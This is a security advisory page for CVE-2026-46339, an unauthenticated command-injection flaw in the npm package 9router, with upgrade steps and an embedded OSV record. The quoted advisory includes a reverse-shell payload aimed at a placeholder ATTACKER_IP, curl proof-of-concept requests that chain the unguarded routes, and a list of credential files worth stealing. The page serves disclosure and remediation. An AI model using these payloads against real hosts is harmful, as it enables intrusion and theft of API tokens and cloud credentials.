CVE-2026-46339: 9router Remote Code Execution Vulnerability
CRITICALCVE-2026-46339 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting 9router libraries in the npm ecosystem. The issue involves unauthenticated remote code execution via unprotected mcp custom plugin routes. Remediation is available by upgrading affected packages to version 0.4.37.
CVE-2026-46339 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-46339
To remediate this vulnerability, upgrade all affected 9router dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install 9router@0.4.37
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls 9router
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46339, inspect your project dependencies using npm:
npm ls 9router
Analyze the terminal output to locate any version of 9router in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.37), your application is affected.
Note: The npm ls 9router command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In 9router, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46339 Affected 9router Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
9router
|
npm |
≥ 0.4.30
< 0.4.37
|
0.4.37
|
References
Frequently Asked Questions
What is CVE-2026-46339?
Which 9router versions are affected?
What version fixes CVE-2026-46339?
Is 9router affected?
What is the CVSS score of CVE-2026-46339?
What CWE is associated with CVE-2026-46339?
How can I check npm dependencies for CVE-2026-46339?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fhh6-4qxv-rpqj",
"modified" : "2026-05-19T19:22:05Z",
"published" : "2026-05-19T19:22:05Z",
"aliases" : [ "CVE-2026-46339" ],
"summary" : "9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes",
"details" : "## Summary\n\n9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**.\n\nThe vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**.\n\n---\n\n## Root Cause\n\n### 1. Middleware Allowlist Is Too Narrow\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n ],\n};\n```\n\nNext.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely.\n\n### 2. Unguarded Endpoint Accepts Arbitrary Command Registration\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319\n\n```js\nexport async function POST(request) {\n const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();\n // ...\n const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];\n\n if (customPluginsArray.length > 0) {\n const { registerCustomPlugin } = require(\"@/lib/mcp/stdioSseBridge\");\n const stdioCustoms = customPluginsArray\n .filter((p) => p.command)\n .map((p) => ({\n name: p.name,\n command: p.command, // ← attacker-controlled, no validation\n args: p.args || [], // ← attacker-controlled, no validation\n }));\n for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis\n }\n}\n```\n\nThe `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement.\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116\n\n```js\nfunction registerCustomPlugin(def) {\n getCustomStore().set(def.name, def); // no validation of command/args\n}\n```\n\n### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command\n\n**File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25\n\n```js\nexport async function GET(request, { params }) {\n const { plugin } = await params;\n if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });\n\n const stream = new ReadableStream({\n start(controller) {\n sid = registerSession(plugin, send); // ← spawn() called here\n },\n });\n return new Response(stream, { ... });\n}\n```\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, line 138\n\n```js\nconst proc = spawn(plugin.command, plugin.args, {\n stdio: [\"pipe\", \"pipe\", \"pipe\"],\n env: process.env, // inherits full environment\n});\n```\n\n`spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution.\n\n---\n\n## Attack Chain\n\n```\nAttacker (no credentials)\n │\n │ Step 1 — Register malicious plugin (POST, no auth)\n ▼\nPOST /api/cli-tools/cowork-settings\nContent-Type: application/json\n\n{\n \"baseUrl\": \"x\", \"apiKey\": \"x\", \"models\": [\"x\"],\n \"customPlugins\": [{\n \"name\": \"rev\",\n \"command\": \"/bin/bash\",\n \"args\": [\"-c\", \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"]\n }]\n}\n\n ← {\"success\":true, ...}\n\n │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)\n ▼\nGET /api/mcp/rev/sse\n\n ← SSE stream opens → spawn(\"/bin/bash\", [\"-c\", \"bash -i >& /dev/tcp/...\"])\n ← Reverse shell connects to attacker\n```\n\n**Time to exploit from first request:** < 2 seconds. \n**Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`).\n\n---\n\n## Proof of Concept\n\n### PoC 1 — File Write (no listener required)\n\n```bash\n# Step 1: Register payload\ncurl -X POST \"http://TARGET:20128/api/cli-tools/cowork-settings\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\n \"customPlugins\":[{\n \"name\":\"rce1\",\n \"command\":\"/bin/sh\",\n \"args\":[\"-c\",\"{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt\"]\n }]\n }'\n# → {\"success\":true,...}\n\n# Step 2: Trigger\ncurl -N --max-time 3 \"http://TARGET:20128/api/mcp/rce1/sse\" >/dev/null 2>&1\n\n# Verify\ncat /tmp/pwned.txt\n```\n\n**Observed output (on local test instance):**\n```\nuid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)\nsondt23\nVSOC-sondt23-L\nLinux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux\n```\n\n### PoC 2 — Automated PoC script\n\n```bash\n# File write mode (for report)\npython3 poc.py --target http://TARGET:20128 --mode file\n\n# Reverse shell mode (interactive)\npython3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444\n```\n\nThe script (`poc.py`) is included in this advisory.\n\n---\n\n## Impact\n\n| Category | Detail |\n|---|---|\n| **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials |\n| **Integrity** | Arbitrary file write, persistence via cron/systemd |\n| **Availability** | Process termination, resource exhaustion |\n| **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root |\n| **Scope** | Remote, unauthenticated, network-accessible |\n\n### High-value exfiltration targets on a typical 9router host\n\n- `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN`\n- `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys\n- `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs)\n- TLS private keys managed by the MITM proxy (`src/mitm/`)\n\n---\n\n## Affected Versions\n\n| Version | Affected | Notes |\n|---|---|---|\n| < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist |\n| v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) |\n| v0.4.31 | **Yes** | |\n| v0.4.32 | **Yes** | |\n| v0.4.33 | **Yes** | Latest at time of disclosure |\n\nThe vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.\n\n---\n\n## Remediation\n\n### Fix 1 — Extend middleware matcher (minimal fix)\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n // ADD these:\n \"/api/cli-tools/:path*\",\n \"/api/mcp/:path*\",\n ],\n};\n```\n\n### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth)\n\n**File:** `src/lib/mcp/stdioSseBridge.js`\n\n```js\nconst ALLOWED_MCP_COMMANDS = new Set([\"npx\", \"node\", \"uvx\", \"python3\", \"python\"]);\n\nfunction registerCustomPlugin(def) {\n const bin = def.command?.split(\"/\").pop(); // basename only\n if (!ALLOWED_MCP_COMMANDS.has(bin)) {\n throw new Error(`Blocked: command '${def.command}' not in allowlist`);\n }\n getCustomStore().set(def.name, def);\n}\n```\n\n### Fix 3 — Sanitize `customPlugins` at the API boundary\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312\n\n```js\nconst stdioCustoms = customPluginsArray\n .filter((p) => p.command && typeof p.command === \"string\")\n .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check\n .map((p) => ({\n name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, \"\"), // sanitize name\n command: p.command,\n args: (p.args || []).map(String),\n }));\n```\n\n**All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "9router"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.4.30"
}, {
"fixed" : "0.4.37"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/decolua/9router"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T19:22:05Z",
"nvd_published_at" : null
}
}